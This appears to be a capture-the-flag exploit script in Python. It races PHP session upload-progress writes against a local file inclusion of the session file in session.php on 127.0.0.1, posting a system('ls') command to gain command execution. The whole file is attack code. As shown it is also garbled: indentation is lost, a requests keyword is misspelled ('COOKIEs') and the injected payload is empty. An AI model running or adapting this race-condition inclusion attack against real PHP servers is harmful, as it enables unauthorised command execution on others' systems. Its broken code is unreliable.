import io
import requests
import threading
sessid = 'FLAG'
data = {"cmd":"system('ls');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': ''}, files={'file': ('1.txt',f)}, COOKIEs={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_'+sessid,data=data)
if '1.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()